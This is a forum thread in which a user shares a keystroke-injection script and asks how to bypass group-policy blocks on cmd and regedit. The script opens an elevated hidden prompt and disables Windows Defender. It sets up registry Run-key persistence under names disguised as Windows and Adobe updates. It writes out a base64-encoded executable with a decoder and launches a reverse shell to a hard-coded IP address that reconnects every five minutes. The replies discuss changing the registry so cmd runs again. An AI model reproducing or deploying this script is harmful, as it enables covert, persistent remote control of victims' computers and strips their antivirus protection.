Persistent Reverse Shell/Editing the Registry

[Roark]

I adapted several other reverse shells into this script, which disables windows defender, runs with startup, and will attempt to reconnect every five minutes if the connection is lost.

However, (in this hypothetical situation) the script can't run on the target pc because, even though it has admin privileges, both cmd prompt and regedit are disabled by group policy.

My question is, how do I enable cmd prompt without editing the registry, or is there no way around it?

REM reverse shell script adapted by Roark
REM ***opens admin cmd prompt without uac***
DELAY 1000
CAPSLOCK
GUI r
DELAY 400
STRING powershell Start-Process cmd -Verb runAs
ENTER
DELAY 500
ALT y
DELAY 500
REM ***hides cmd prompt window***
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER
REM ***temporarily disable windows defender***
STRING powershell
ENTER
DELAY 200
STRING Set-MpPreference -DisableRealtimeMonitoring $true
ENTER
STRING exit
ENTER
DELAY 400
REM ***permenently disable windows defender***
STRING erase /Q c:\windows\system32\WinDefend.reg
ENTER
STRING copy con c:\windows\system32\WinDefend.reg
ENTER
STRING Windows Registry Editor Version 4.00
ENTER
STRING [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
ENTER
STRING "DisableAntiSpyware"=dword:00000001
ENTER
STRING "DisableRoutinelyTakingAction"=dword:00000001
ENTER
CTRL z
ENTER
STRING REGEDIT /s c:\windows\system32\WinDefend.reg
ENTER
STRING del c:\windows\system32\WinDefend.reg
ENTER
REM ***create vbs file to run shell on start***
STRING erase /Q c:\windows\system32\runwinupdate.vbs
ENTER
STRING copy con c:\windows\system32\runwinupdate.vbs
ENTER
STRING Set WshShell = CreateObject("WScript.Shell")
ENTER
STRING WshShell.Run chr(34) & "winupdate.bat" & Chr(34), 0
ENTER
STRING Set WshShell = Nothing
ENTER
CTRL z
ENTER
REM ***add runwinupdates to start registry***
STRING erase /Q c:\windows\system32\dirty.reg
ENTER
STRING copy con c:\windows\system32\dirty.reg
ENTER
STRING REGEDIT4
ENTER
STRING [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
ENTER
STRING "windowsupdates"="c:\windows\system32\runwinupdate.vbs"
ENTER
CTRL z
ENTER
STRING REGEDIT /s dirty.reg
ENTER
STRING del dirty.reg
ENTER
REM ***connect on startup and try to reconnect every 5 minutes***
STRING erase /Q c:\windows\system32\winupdate.bat
ENTER
STRING copy con c:\windows\system32\winupdate.bat
ENTER
STRING @echo off
ENTER
STRING :LoopStart
ENTER
STRING @echo off
ENTER
STRING tasklist /FI "IMAGENAME eq c:\windows\system32\adobe.exe" 2>NUL | find /I /N "c:\windows\system32\adobe.exe" >NUL
ENTER
STRING if [NOT] "%ERRORLEVEL%"=="0" c:\windows\system32\adobe.exe 104.236.244.103 31330
ENTER
STRING timeout /t 300
ENTER
STRING GOTO LoopStart
ENTER
CTRL z
REM ***create decode file for shell***
ENTER
STRING erase /Q c:\windows\system32\decoder.vbs
ENTER
STRING copy con c:\windows\system32\decoder.vbs
ENTER
STRING Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)
STRING :outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS =
STRING CreateObject("Scripting.FileSystemObject"):
ENTER
STRING set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded =
STRING objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function
STRING decodeBase64(base64):
ENTER
STRING dim DM, EL:Set DM = CreateObject("Microsoft.XMLDOM"):Set EL = DM.createElement("tmp"):
STRING EL.DataType = "bin.base64":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub
STRING writeBytes(file, bytes):Dim binaryStream:
ENTER
STRING Set binaryStream = CreateObject("ADODB.Stream"):binaryStream.Type = 1:
STRING binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub
ENTER
CTRL z
REM ***create shell***
ENTER
STRING erase /Q c:\windows\system32\adobeupdate.txt
ENTER
STRING copy con c:\windows\system32\adobeupdate.txt
ENTER
STRING TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA
ENTER
STRING AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA
ENTER
STRING AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA
ENTER
STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ENTER
STRING AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS
ENTER
STRING 0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA
ENTER
STRING AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2
ENTER
STRING gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A
ENTER
STRING AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA
ENTER
STRING WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA
ENTER
STRING MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq
ENTER
STRING kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF
ENTER
STRING EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv
ENTER
STRING KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp
ENTER
STRING AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm
ENTER
STRING MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A
ENTER
STRING VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s
ENTER
STRING hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9
ENTER
STRING gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp
ENTER
STRING bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY
ENTER
STRING LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B
ENTER
STRING /7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk
ENTER
STRING SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA
ENTER
STRING AAxAAADpdL7//wAAAAIAAAAMQAAA
ENTER
CTRL z
ENTER
REM ***decode and clean up***
STRING cscript c:\windows\system32\decoder.vbs c:\windows\system32\adobeupdate.txt c:\windows\system32\adobe.exe
ENTER
STRING erase c:\windows\system32\adobeupdate.txt
ENTER
STRING erase c:\windows\system32\decoder.vbs
ENTER
REM ***run shell***
STRING c:\windows\system32\winupdate.bat
ENTER
STRING exit
ENTER

Edited February 26, 2016 by Roark

[White Light]

Is powershell disabled by the policy as well? Some people overlook that.

[Roark]

Powershell is enabled, when I try [powershell Start-Process cmd -Verb runAs], it opens the cmd prompt and says it's disabled by group policy. Can I use powershell to edit the registry and allow cmd prompt?

[White Light]

Powershell is enabled, when I try [powershell Start-Process cmd -Verb runAs], it opens the cmd prompt and says it's disabled by group policy. Can I use powershell to edit the registry and allow cmd prompt?

Powershell is a more powerful shell (hence the name) so you can basically do everything in it as in CMD, though sometimes requiring a different way.

[Roark]

Do you think I could use [REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f] to edit the registry from powershell even though REGEDIT is disabled?

[White Light]

Do you think I could use [REG add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 0 /f] to edit the registry from powershell even though REGEDIT is disabled?

I honestly couldn't say for sure.

[Roark]

Well, I'll edit the script this week and test it out.